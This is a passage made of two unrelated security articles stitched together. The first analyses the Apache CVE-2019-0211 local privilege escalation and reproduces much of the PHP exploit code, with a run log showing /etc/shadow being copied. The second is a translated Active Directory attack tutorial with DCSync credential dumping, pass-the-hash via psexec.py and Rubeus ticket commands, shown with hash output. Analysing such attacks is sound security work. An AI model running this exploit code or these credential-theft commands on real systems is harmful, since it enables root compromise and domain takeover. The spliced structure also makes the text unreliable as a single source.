apr_status_t (*release)(apr_proc_mutex_t *);
apr_status_t (*cleanup)(void *);
apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *);
const char *name;
};
### 2.4 计算索引bucket
再回忆一下漏洞利用的方法：在SHM中构造payload
（prefork_child_bucket结构），同时将剩余SHM区域喷射payload地址（并非payload起始地址），
控制指向喷射区域，所以&all_buckets[bucket]中的meth必然指向payload
，而payload中我们已将child_init函数的指针覆盖为我们想要执行函数的指针，就可以达到漏洞利用的目的。要想控制&all_buckets[bucket]指向prefork_child_bucket结构，不能直接将该结构精确放在某个位置，然后直接计算两者间的偏移，因为all_buckets的地址在每优雅重启后会发生变化，所以漏洞被触发时all_buckets的地址将与我们找到的地址是不同的，这就是作者在EXP中进行堆喷的目的。
all_buckets是一个结构体数组，元素prefork_child_bucket结构由三个指针组成：
typedef struct prefork_child_bucket {
ap_pod_t *pod;
ap_listen_rec *listeners;
apr_proc_mutex_t *mutex;
} prefork_child_bucket;
如果在SHM中大量喷射一个指向payload的地址，只要让&all_buckets[bucket]落在该区域内，payload就能得到执行，如下图中所示：
并且在EXP中，作者一共使用了两种方法来提高利用成功率：
1. 喷射SHM，也就是上面提到的方法
2. 修改每个worker的process_score->bucket结构，这样一来，利用成功率就可以再乘以Apache Worker的数量。这也是exp开始时调用$workers_pids = get_workers_pids();的原因。
先看第一种方法的实现：
SHM的起始部分是被apache的各个进程使用的，可以用SHM末尾的绝对地址$spray_max，减去未使用的内存空间大小$spray_size，得到要喷射区域的大小$spray_size；而未使用空间的大小可以通过减去已使用worker_score结构的总大小得到。
$size_prefork_child_bucket = 24;$size_worker_score = 264;
$spray_size = $size_worker_score * (256 - sizeof($workers_pids) * 2);
$spray_max = $addresses['shm'][1];
$spray_min = $spray_max - $spray_size;
然后找喷射区域地址的中间值，计算它和all_buckets地址的偏移，再除以prefork_child_bucket结构的大小，就可以得到一个all_buckets数组下标索引，但别忘了SHM在all_buckets之前，所以这个索引还要取负值，这个值用$bucket_index_middle表示。
$spray_middle = (int) (($spray_min + $spray_max) / 2);
$bucket_index_middle = (int) ( - ($all_buckets - $spray_middle) / $size_prefork_child_bucket );
这样做的目的在于，在每优雅重启后，即便all_buckets的地址有所变化，&all_buckets[bucket]指向的位置会在$spray_middle上下浮动，最大程度上保证了该指针落在喷射的内存范围内，如下图所示：
### 2.5 设置Payload比开始喷射SHM
Payload由三个部分组成
1. bucket，用来存放要执行的命令，这是因为payload已经成了几个结构的叠加。
2. meth，它还是apr_proc_mutex_unix_lock_methods_t结构，只是它的child_init替换成了zend_object_std_dtor，其他指针置空。
3. properties，这是PHP内部结构zend_object的一个成员。
回忆漏洞的攻击链，最后的child_init被替换成函数zend_object_std_dtor执行，其原型如下，传入一个zend_object结构：
ZEND_API void zend_object_std_dtor(zend_object *object);
所以原本传给child_init的&my_bucket->mutex（prefork_child_bucket结构的一部分）就和zend_object相叠加了。
zend_object_std_dtor的执行又导致以下调用链：
...
mutex = &my_bucket->mutex
apr_proc_mutex_child_init(mutex)
//(*mutex)->meth->child_init()
(*mutex)->meth->zend_object_std_dtor(object) //[object = mutex]
ht = object->properties
zend_array_destroy(ht)
zend_hash_destroy(ht)
val = &ht->arData[0]->val
ht->pDestructor(val)
上面的代码properties是一个zend_array结构，同时properties又是前面mutex的地址，apr_proc_mutex_t和zend_array是叠加的，如下所示，我们控制其中的arData，pDestructor，如果我们将上面&ht->arData[0]->val放入要执行的命令，pDestructor()覆盖为system的地址，就可以实现命令执行了。
struct _zend_array {
zend_refcounted_h gc;
//...
uint32_t nTableMask;
Bucket *arData;
uint32_t nNumUsed;
uint32_t nNumOfElements;
uint32_t nTableSize;
uint32_t nInternalPointer;
zend_long nNextFreeElement;
dtor_func_t pDestructor;
};
回到exp中，首先构造bucket部分，放入要执行的命令，没有参数时默认执行”chmod +s
/usr/bin/python3.5″，但是自定义的命令长度也不能超过152字节。
# Build payload
$payload_start = $spray_min - $size_worker_score;
$z = ptr2str(0);
# Payload maxsize 264 - 112 = 152
$bucket = isset($_REQUEST['cmd']) ?
$_REQUEST['cmd'] :
"chmod +s /usr/bin/python3.5";
if(strlen($bucket) > $size_worker_score - 112) {
o( 'Payload size is bigger than available space (' .
($size_worker_score - 112) .
'), exiting.'
);
exit();
}
# Align
$bucket = str_pad($bucket, $size_worker_score - 112, "\x00");
然后是meth，将原本child_init的指针改为zend_object_std_dtor
# apr_proc_mutex_unix_lock_methods_t
$meth = $z . $z . $z . $z . $z . $z .
# child_init ptr2str($addresses['zend_object_std_dtor']) ;
调试过程中也可以看到child_init被覆盖：
然后是properties（zend_array和apr_proc_mutex_t结构的叠加），u-nTableMask的位置将用作apr_proc_mutex_t结构的meth，而arData指向payload中的bucket。
$properties =
# refcount ptr2str(1) .
# u-nTableMask meth
ptr2str($payload_start + strlen($bucket)) .
# Bucket arData
ptr2str($payload_start) .
# uint32_t nNumUsed;
ptr2str(1, 4) .
# uint32_t nNumOfElements;
ptr2str(0, 4) .
# uint32_t nTableSize
ptr2str(0, 4) .
# uint32_t nInternalPointer
ptr2str(0, 4) .
# zend_long nNextFreeElement
$z .
# dtor_func_t pDestructor
ptr2str($addresses['system'])
;
将三个部分组合：
$payload = $bucket . $meth . $properties;
通过前面UAF控制的字符串abc写入SHM未使用部分的开头
o('Placing payload at address 0x' . dechex($payload_start));
$p = $payload_start - $address;
for( $i = 0; $i < strlen($payload); $i++ )
{
$this->abc[$p+$i] = $payload[$i];
}
打印信息，将SHM剩下的部分喷射为properties的地址
$properties_address = $payload_start + strlen($bucket) + strlen($meth);
o('Spraying pointer');
o(' Address: 0x' . dechex($properties_address));
o(' From: 0x' . dechex($spray_min));
o(' To: 0x' . dechex($spray_max));
o(' Size: 0x' . dechex($spray_size));
o(' Covered: 0x' . dechex($spray_size * count($workers_pids)));
o(' Apache: 0x' . dechex( $addresses['apache'][1] - $addresses['apache'][0] ));
$s_properties_address = ptr2str($properties_address);
for(
$i = $spray_min;
$i < $spray_max;
$i++
)
{
$this->abc[$i - $address] = $s_properties_address[$i % 8];
}
讲到这里可以再回头看看文章刚开始的图，应该就更容易理解了。
### 2.6 进一步提高利用成功率
前面还讲到，可以修改每个worker的process_score->bucket结构，这样一来，利用成功率就可以再乘以Apache
Worker的数量，因为2.4中计算出的bucket索引能落在了SHM之外，如果有多个worker，如下图所示，就能提高&all_buckets[bucket]落在SHM中的概率：
迭代查找每个process_score结构直到找到每个PID，再将找到的PID$workers_pids中的PID对比，匹配的就说明是正确的结构。
$spray_nb_buckets = (int) ($spray_size / $size_prefork_child_bucket);
$total_nb_buckets = $spray_nb_buckets * count($workers_pids);
$bucket_index = $bucket_index_middle - (int) ($total_nb_buckets / 2);
for(
$p = $addresses['shm'][0] + 0x20;
$p < $addresses['shm'][1] && count($workers_pids) > 0;
$p += 0x24 ) { $l = $p - $address;
$current_pid = str2ptr($this->abc, $l, 4);
o('Got PID: ' . $current_pid);
# The PID matches one of the workers
if(in_array($current_pid, $workers_pids))
{
unset($workers_pids[$current_pid]);
o(' PID matches');
将所有workerprocess_score.bucket都进行修改，而非修改其中一个：
# Update bucket address
$s_bucket_index = pack('l', $bucket_index);
$this->abc[$l + 0x20] = $s_bucket_index[0];
$this->abc[$l + 0x21] = $s_bucket_index[1];
$this->abc[$l + 0x22] = $s_bucket_index[2];
$this->abc[$l + 0x23] = $s_bucket_index[3];
o(' Changed bucket value to ' . $bucket_index);
$min = $spray_min - $size_prefork_child_bucket * $bucket_index;
$max = $spray_max - $size_prefork_child_bucket * $bucket_index;
o(' Ranges: 0x' . dechex($min) . ' - 0x' . dechex($max));
# This bucket range is covered, go to the next one
$bucket_index += $spray_nb_buckets;
到这里，整个漏洞利用过程就结束了，可以等到6:25AM查看利用是否利用成功，也可以手动执行apachectl graceful验证
if(count($workers_pids) > 0)
{
o( 'Unable to find PIDs ' . implode(', ', $workers_pids) . ' in SHM, exiting.' );
exit();
}
o('');
o('EXPLOIT SUCCESSFUL.');
o('Await 6:25AM.');
return 0;
➜ curl http://192.168.116.133/carpediem.php\?cmd\=cp+/etc/shadow+/tmp/CARPE (DIEM) ~ CVE-2019-0211
PID: 887Fetching addresses zend_object_std_dtor: 0x7fc38f605700 system: 0x7fc3936bc480 libaprX: 0x7fc393c39000-0x0x7fc393c6b000 libaprR: 0x7fc393e6b000-0x0x7fc393e6c000 shm: 0x7fc394456000-0x0x7fc39446a000 apache: 0x7fc39446a000-0x0x7fc39452a000
Obtaining apache workers PIDs Found apache worker: 887 Found apache worker: 888 Found apache worker: 889 Found apache worker: 890 Found apache worker: 891Got 5 PIDs.
Triggering UAF Creating room and filling empty spaces
Allocating $abc and $p
Unsetting both variables and setting $protector Creating DateInterval objectUAF successful.
Address of $abc: 0x7fc38aaa34e8
Looking for all_buckets in memory [&mutex]: 0x7fc3944cab70 [mutex]: 0x7fc3944cacc0 [meth]: 0x7fc393e6bca0 [*]: 0x7fc393c53ce0 [*]: 0x7fc393c541b0 [*]: 0x7fc393c53e90 [*]: 0x7fc393c54210 [*]: 0x7fc393c53bf0 [*]: 0x7fc393c53960 [*]: 0x7fc393c6228call_buckets = 0x7fc3944cab60
Computing potential bucket indexes and addresses[bucket_index_middle]: -17858Placing payload at address 0x7fc39445a148Spraying pointer Address: 0x7fc39445a218 From: 0x7fc39445a250 To: 0x7fc39446a000 Size: 0xfdb0 Covered: 0x4f470 Apache: 0xc0000
Iterating in SHM to find PIDs...[spray_nb_bucket]: 2706[total_nb_buckets]: 13530[bucket_index]: -24623Got PID: 887 PID matches Changed bucket value to -24623 Ranges: 0x7fc3944ea6b8 - 0x7fc3944fa468Got PID: 888 PID matches Changed bucket value to -21917 Ranges: 0x7fc3944da908 - 0x7fc3944ea6b8Got PID: 889 PID matches Changed bucket value to -19211 Ranges: 0x7fc3944cab58 - 0x7fc3944da908Got PID: 890 PID matches Changed bucket value to -16505 Ranges: 0x7fc3944bada8 - 0x7fc3944cab58Got PID: 891 PID matches Changed bucket value to -13799 Ranges: 0x7fc3944aaff8 - 0x7fc3944bada8
EXPLOIT SUCCESSFUL.Await 6:25AM.
## 0x03 参考资料
[1] CVE-2019-0211 Apache Root Privilege Escalation
(<https://cfreal.github.io/carpe-diem-cve-2019-0211-apache-local-root.html)>
[2] exploit
(<https://github.com/cfreal/exploits/tree/master/CVE-2019-0211-apache)>
[3] PHP7内核剖析
(<https://www.kancloud.cn/nickbai/php7)> | 社区文章 |
# 域渗透：攻击活动目录从 0 到 0.9（二）
|
##### 译文声明
本文是翻译文章，文章原作者 zer1t0，文章来源：zer1t0.gitlab.io
原文地址：<https://zer1t0.gitlab.io/posts/attacking_ad/>
译文仅供参考，具体内容表达以及含义原文为准。
[域渗透：攻击活动目录从 0 到 0.9（一）](https://www.anquanke.com/post/id/249939)
> * 什么是活动目录（Active Directory）？
> * 域（Domain）
> * 域名（Domain name）
> * 林（Forests）
> * 功能级别（Functional Levels）
> * 信任（Trusts）
> * 信任方向（Trust direction）
> * 信任传递性（Trust transitivity）
> * 信任类型（Trust types）
> * 信任密钥（Trust key）
> * 更多的信任相关知识
> * 用户（Users）
> * 用户属性
> * 重要的用户
> * 计算机账户
> * 信任账户（Trust accounts）
> * 组（Groups）
> * 重要的组
> * 组范围
>
## 计算机（Computers）
当然，计算机是活动目录的一个核心部分。正如我们所说，它们是发生所有操作的机器，但也是活动目录的用户，需要与域控制器连接。
在每个域中，有三种类型的计算机：
* **Domain Controllers** ：管理域的中央服务器。它们是 Windows Server 机器。
* **Workstations** ：人们每天都在使用的个人电脑。通常是 Windows 10 或 7 的机器。
* **Servers** ：提供诸如网络、文件或数据库等服务的计算机。它们通常是 Linux 或 Windows Server 机器。
## 域控（Domain Controllers）
域控制器是一个域的 **中心服务器** ，它运行着[活动目录域服务](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview)（AD DS）。这意味着它负责维持域数据库中所有关于域对象的信息，并提供活动目录服务，如认证、授权、名称解析等。它是一台 Windows
Server 的机器。
该数据库存储在域控制器的 `C:\Windows\NTDS\ntds.dit`
文件中。因此，如果有人偷了这个文件，就可以访问所有关于域的对象（计算机、用户、组、策略等）的信息，包括用户的凭据。所以对这个文件的访问，以及对域控制器的访问，应该限制在域管理员的范围内。这与域中的任何计算机必须能够与域控制器对话以询问该数据库的信息这一事实形成对比。因此，域控制器（至少是其中之一）应该是可以从网络的任何地方到达的。
通常情况下，一个域中有多个域控制器，以分担工作负载，防止单点故障的发生。此外，与其他数据库服务器一样，域控制器必须相互同步，以保持数据的更新。
为了让计算机和用户能访问数据库数据，域控制器提供了一系列的服务，如 DNS、Kerberos、LDAP、SMB、RPC 等。
### **域控发现**
很明显，域控制器是活动目录中最重要的部分之一，正因为如此，它们经常成为渗透测试的目标，所以识别它们很重要，这并不困难。
由于域控制器提供的服务范围很广，有许多方法来识别一个域的域控制器。
一个可能不需要任何类型的认证的是做一个简单的 **DNS 查询，询问该域的 LDAP 服务器** （也就是域控制器）。
> 使用 DNS 查询识别域控：
PS C:\Users\Anakin> nslookup -q=srv _ldap._tcp.dc._msdcs.contoso.local
Server: UnKnown
Address: 192.168.100.2
_ldap._tcp.dc._msdcs.contoso.local SRV service location:
priority = 0
weight = 100
port = 389
svr hostname = dc01.contoso.local
_ldap._tcp.dc._msdcs.contoso.local SRV service location:
priority = 0
weight = 100
port = 389
svr hostname = dc02.contoso.local
dc01.contoso.local internet address = 192.168.100.2
dc02.contoso.local internet address = 192.168.100.3
另外，你可以使用一些系统工具，如 `nltest` 来获取域控制器，但你需要有一个用户。
> 使用 `nltest` 识别域控：
PS C:\Users\Anakin> nltest /dclist:contoso.local
Get list of DCs in domain 'contoso.local' from '\\dc01.contoso.local'.
dc01.contoso.local [PDC] [DS] Site: Default-First-Site-Name
dc02.contoso.local [DS] Site: Default-First-Site-Name
The command completed successfully
如果你对一台机器进行了端口扫描，结果与下面类似，那肯定是一个域控制器：
$ nmap 192.168.100.2 -Pn -sV -p- Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-04 11:17 CEST
Nmap scan report for 192.168.100.2
Host is up (0.00068s latency).
Not shown: 65509 filtered ports
PORT STATE SERVICE VERSION
42/tcp open tcpwrapped
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-05-04 09:19:44Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: contoso.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: contoso.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49671/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49676/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
49680/tcp open msrpc Microsoft Windows RPC
49685/tcp open msrpc Microsoft Windows RPC
49707/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 164.31 seconds
这个输出显示了很多开放的端口。下面是每个端口所提供的服务的简要描述：
* 42 => [WINS]：中央服务，用来解析 NetBIOS 名到 IP 地址。
* 53 => [DNS]：解析 DNS 地址。
* 88 => [Kerberos]：为用户提供 Kerberos 认证。
* 135 => [RPC Endpoint Mapper]：用于寻找不同 RPC 服务的 RPC 端点的 RPC 服务。
* 139 => [NetBIOS] Session Service：Windows 计算机使用的 TCP 的一个旧的替代品。它允许传输 SMB 或 RPC 等协议。
* 389 => [LDAP]：查询或编辑域数据库。
* 445 => [SMB]：用来在计算机之间共享文件。也允许通过命名的管道进行 RPC 调用。
* 464 => [kpasswd]：用于更改用户密码的 Kerberos 服务。
* 593 => [RPC]：在 HTTP 上的端点映射器。
* 636 => [LDAPS]：LDAP with SSL。
* 3268 => [LDAP] [Global Catalog]：查询 Global Catalog 的服务。
* 3269 => [LDAPS] [Global Catalog]：查询 Global Catalog 的服务 LDAPS。
* 5985 => [WinRM]：用 CIM 对象或 Powershell remoting 远程管理机器的服务。
* 9389 => [ADWS]：查询或编辑域数据库的 Web 服务。
* 49152-65535 [RPC] Endpoints：随机的 RPC 端口，不同的 RPC 服务 / 接口在这里监听客户端。
根据 DC 的配置，你也可以发现 3389 端口开放，它允许 RDP 连接或[许多其他服务](https://docs.microsoft.com/en-US/troubleshoot/windows-server/networking/service-overview-and-network-port-requirements)。
### **Dump 域数据库**
如果你成为了域的管理员，你可能想 dump 域控制器数据库的内容，以便读取一些敏感数据，如
`krbtgt`用户凭证，以便创建[金票](https://en.hackndo.com/kerberos-silver-golden-tickets/)。
为了提取数据库的内容，你可以登录域控制器，用 [ntdsutil](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc753343%EF%BC%88v=ws.11) 或
[vssadmin](https://docs.microsoft.com/en-gb/windows-server/administration/windows-commands/vssadmin) 在本地进行 NTDS
[Dump](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration#no-credentials-ntdsutil)，或者你可以用
[mimikatz
lsadump::dsync](https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump#dcsync)
命令或 impacket
[secretsdump.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py)
脚本，进行远程 [dcsync攻击](https://adsecurity.org/?p=1729)。
发起 DCSync 攻击要小心，因为如果你请求一个大域中的所有凭证，正在响应的 DC 可能会耗尽内存并崩溃！！
> DCSync attack with secretsdump to retrieve krbtgt credentials
$ secretsdump.py 'contoso.local/[email protected]' -just-dc-user krbtgt
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:fe8b03404a4975e7226caf6162cfccba:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:5249e3cf829c979959286c0ee145b7e6b8b8589287bea3c83dd5c9488c40f162
krbtgt:aes128-cts-hmac-sha1-96:a268f61e103134bb7e975a146ed1f506
krbtgt:des-cbc-md5:0e6d79d66b4951cd
[*] Cleaning up...
## Windows 计算机
除了域控制器，在一个域中还有许多其他的 Windows 机器，它们既可以作为工作站（通常是Windows
10/8/7/Vista/XP），也可以作为应用服务器（通常是Windows Server 版本）。
### **Windows 计算机发现**
你可以通过使用几种技术来识别一个域或网络中的 Windows 机器。
第一个选择，如果你有域的凭据，可以通过 LDAP 查询域数据库，这可以给你提供计算机名称甚至操作系统。
> Search for computers of the domain
$ ldapsearch -H ldap://192.168.100.2 -x -LLL -W -D "[email protected]" -b "dc=contoso,dc=local" "(objectclass=computer)" "DNSHostName" "OperatingSystem"
Enter LDAP Password:
dn: CN=DC01,OU=Domain Controllers,DC=contoso,DC=local
operatingSystem: Windows Server 2019 Standard Evaluation
dNSHostName: dc01.contoso.local
dn: CN=WS01-10,CN=Computers,DC=contoso,DC=local
operatingSystem: Windows 10 Enterprise
dNSHostName: ws01-10.contoso.local
dn: CN=WS02-7,CN=Computers,DC=contoso,DC=local
operatingSystem: Windows 7 Professional
dNSHostName: WS02-7.contoso.local
dn: CN=SRV01,CN=Computers,DC=contoso,DC=local
operatingSystem: Windows Server 2019 Standard Evaluation
dNSHostName: srv01.contoso.local
另一种技术，在你没有凭据的情况下，也可以涉及网络的扫描。Windows 计算机有几个默认开放的端口，在域环境中，它们通常不受防火墙的保护。
例如，NetBIOS 名称服务在 137 端口监听，甚至允许你从 IP 解析 NetBIOS 名称。你可以通过使用
[nbtscan](http://www.unixwiz.net/tools/nbtscan.html) 或 nmap
[nbtstat](https://nmap.org/nsedoc/scripts/nbstat.html) 脚本等工具进行 NetBIOS 扫描。
> NetBIOS 扫描
$ nbtscan 192.168.100.0/24
192.168.100.2 CONTOSO\DC01 SHARING DC
192.168.100.7 CONTOSO\WS02-7 SHARING
192.168.100.10 CONTOSO\WS01-10 SHARING
*timeout (normal end of scan)
另外，在 445 端口监听的一个非常流行的服务是 SMB，大量用于 Windows 计算机之间的通信。
你可以执行端口扫描来发现 Windows 计算机，甚至可以利用 NTLM 认证协商来获取机器名称，如用 [ntlm-info](https://github.com/Zer1t0/ntlm-info) 或 nmap [smb-os-discovery](https://nmap.org/nsedoc/scripts/smb-os-discovery.html) 脚本进行扫描。
> SMB 扫描
$ ntlm-info smb 192.168.100.0/24
Target: 192.168.100.2
NbComputer: DC01
NbDomain: CONTOSO
DnsComputer: dc01.contoso.local
DnsDomain: contoso.local
DnsTree: contoso.local
Version: 10.0.17763
OS: Windows 10 | Windows Server 2019 | Windows Server 2016
Target: 192.168.100.7
NbComputer: WS02-7
NbDomain: CONTOSO
DnsComputer: ws02-7.contoso.local
DnsDomain: contoso.local
Version: 6.1.7601
OS: Windows 7 | Windows Server 2008 R2
Target: 192.168.100.10
NbComputer: WS01-10
NbDomain: CONTOSO
DnsComputer: ws01-10.contoso.local
DnsDomain: contoso.local
DnsTree: contoso.local
Version: 10.0.19041
OS: Windows 10 | Windows Server 2019 | Windows Server 2016
最后，你还可以用 nmap 扫描其他端口，如 135（RCP）或 139（NetBIOS会话服务）。
### **连接 Windows 计算机**
一旦你发现其他 Windows 机器，你可能需要连接到它们，以获取凭证或数据。
通常情况下，你需要在远程机器上执行命令来完成你的行动。有几个方法可以实现这一点。
**用 RPC / SMB 连接**
最常见的方法是使用 RPC 与 SMB。这是许多已知的工具所使用的方法，如 [PsExec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec) 和 impacket 例子中的
[psexec.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py)、[wmiexec.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py)
和其他 *exec.py。
这些工具通常使用一些 RPC 接口来执行命令，并通过 SMB 管道发送/接收命令的输入/输出。这些工具一般只需要打开 445
端口（SMB）就可以执行命令，但有些工具如
[wmiexec.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py)
还需要 135 端口（RPC over TCP）。
此外，这些工具还可以通过使用 NT 或 LM 哈希值来执行 Pass-The-Hash 攻击。impacket 工具有一个参数可以直接使用 NT 或 LM
哈希值，而为了在 PsExec 中使用它，你必须用 mimikatz 在 Windows 会话中[注入 NT
哈希值](https://stealthbits.com/blog/passing-the-hash-with-mimikatz/)。
> psexec.py with a NT hash
$ psexec.py contoso.local/[email protected] -hashes :cdeae556dc28c24b5b7b14e9df5b6e21
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[*] Requesting shares on 192.168.100.10.....
[*] Found writable share ADMIN$
[*] Uploading file WFKqIQpM.exe
[*] Opening SVCManager on 192.168.100.10.....
[*] Creating service AoRl on 192.168.100.10.....
[*] Starting service AoRl.....
[!] Press help for extra shell commands
The system cannot find message text for message number 0x2350 in the message file for Application.
(c) Microsoft Corporation. All rights reserved.
b'Not enough memory resources are available to process this command.\r\n'
C:\Windows\system32>whoami
nt authority\system
这样的话，你就使用了 NTLM 作为认证机制，这可能不是最好的选择，因为在活动目录中默认使用 Kerberos。
要使用 Kerberos，你需要向上述工具提供一个 Kerberos 票据。在 impacket 中，你可以设置一个
[ccache](https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a#using-ticket-in-linux) 文件给 impacket 使用，而在 Windows 中，你将需要使用
[mimikatz](https://github.com/gentilkiwi/mimikatz) 或
[Rubeus](https://github.com/GhostPack/Rubeus)
在会话中[注入票据](https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a#using-ticket-in-windows)。
为了获得可用的 Kerberos 票据，可以通过使用用户密码、NT 哈希值（Overpass-the-Hash）或 Kerberos 密钥（Pass-The-Key）来请求一个票据，或者可以简单地从 Windows 或 Linux 机器上偷一个票据并使用它（Pass-The-Ticket）。
Windows 和 Linux 机器（以及面向它们的工具）使用了不同的票据文件格式，所以 Linux 票据移到 Windows
机器上可能会出现问题，反之亦然。你可以通过使用
[ticket_converter](https://github.com/Zer1t0/ticket_converter) 或
[cerbero](https://github.com/Zer1t0/cerbero#convert) 在不同的格式之间转换票据。
> psexec.py with Kerberos authentication
$ getTGT.py contoso.local/Anakin -dc-ip 192.168.100.2 -hashes :cdeae556dc28c24b5b7b14e9df5b6e21
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[*] Saving ticket in Anakin.ccache
$ export KRB5CCNAME=$(pwd)/Anakin.ccache
$ psexec.py contoso.local/Anakin@WS01-10 -target-ip 192.168.100.10 -k -no-pass
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[*] Requesting shares on 192.168.100.10.....
[*] Found writable share ADMIN$
[*] Uploading file TwIEeeqd.exe
[*] Opening SVCManager on 192.168.100.10.....
[*] Creating service ZQZb on 192.168.100.10.....
[*] Starting service ZQZb.....
[!] Press help for extra shell commands
The system cannot find message text for message number 0x2350 in the message file for Application.
(c) Microsoft Corporation. All rights reserved.
b'Not enough memory resources are available to process this command.\r\n'
C:\Windows\system32>
当使用 Kerberos 认证时，你需要把远程机器的主机名（DNS 名称或 NetBIOS 名称）作为目标传递给工具，而不是其 IP。这是因为
Kerberos 认证使用主机名来识别远程机器的服务，并提供正确的票据来对其进行认证。
如果你使用 IP 地址，你会看到以下错误：
> Using IP address with Kerberos authentication
$ psexec.py contoso.local/[email protected] -k -no-pass
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[-] Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
**用 Powershell Remoting 连接**
除了 RPC / SMB 之外，连接到 Windows 机器的另一种方法是 Powershell Remoting，它可以让你在远程机器上获得一个
Powershell 会话。
Powershell Remoting 服务的监听端口为 5985，在 Windows Server 机器上默认是启用的。
从 Windows 中，你可以通过 Powershell 中的许多 [CmdLets](https://docs.microsoft.com/en-us/powershell/scripting/learn/ps101/08-powershell-remoting?view=powershell-7.1) 使用 Powershell Remoting。在 Linux 机器上，你可以使用 [evil-winrm](https://github.com/Hackplayers/evil-winrm)。
和 RPC / SMB 一样，你可以使用密码、NT 哈希或 Kerberos 票据来连接到目标机器。使用 evil-winrm，你可以把它们作为参数传递给应用程序，或者像在 impacket 中那样配置 ccache 文件。如果是 Powershell
cmdlets，你可以直接使用密码，但如果你有 Kerberos ticket 或 NT hash，你将需要通过使用
[Rubeus](https://github.com/GhostPack/Rubeus) 或
[mimikatz](https://github.com/gentilkiwi/mimikatz) 注入它们。
> Using Powershell Remoting with Overpass-the-Hash
PS C:\> .\Rubeus.exe asktgt /user:Administrator /rc4:b73fdfe10e87b4ca5c0d957f81de6863 /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.6.1
[*] Action: Ask TGT
[*] Using rc4_hmac hash: b73fdfe10e87b4ca5c0d957f81de6863
[*] Building AS-REQ (w/ preauth) for: 'contoso.local\Administrator'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFQjCCBT6gAwIBBaEDAgEWooIETzCCBEthggRHMIIEQ6ADAgEFoQ8bDUNPTlRPU08uTE9DQUyiIjAg
oAMCAQKhGTAXGwZrcmJ0Z3QbDWNvbnRvc28ubG9jYWyjggQFMIIEAaADAgESoQMCAQKiggPzBIID7xK3
<!--stripped-->
ERgPMjAyMTA1MDgwMjQzMjZapxEYDzIwMjEwNTE0MTY0MzI2WqgPGw1DT05UT1NPLkxPQ0FMqSIwIKAD
AgECoRkwFxsGa3JidGd0Gw1jb250b3NvLmxvY2Fs
[+] Ticket successfully imported!
ServiceName : krbtgt/contoso.local
ServiceRealm : CONTOSO.LOCAL
UserName : Administrator
UserRealm : CONTOSO.LOCAL
StartTime : 07/05/2021 18:43:26
EndTime : 08/05/2021 04:43:26
RenewTill : 14/05/2021 18:43:26
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : 95a1NmgYXwOmiyCa3qlplA==
PS C:\> Enter-PSSession -ComputerName dc01
[dc01]: PS C:\Users\Administrator\Documents> whoami
contoso\administrator
[dc01]: PS C:\Users\Administrator\Documents> hostname
dc01
[dc01]:
**用 RDP 连接**
在 Windows 中连接到远程机器的一个常用方法是 RDP（Remote Desktop Protocol）。在 Windows
上，你可以通过默认的客户端“远程桌面连接”（[mstsc](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mstsc)） 使用 RDP。在 Linux 中，有很好的客户端，如
[rdesktop](http://www.rdesktop.org/)、[freerdp](https://www.freerdp.com/) 或
[remmina](https://remmina.org/)。Mac 上可以使用微软官方的
[RDP](https://install.appcenter.ms/orgs/rdmacios-k2vy/apps/microsoft-remote-desktop-for-mac/distribution_groups/all-users-of-microsoft-remote-desktop-for-mac)。
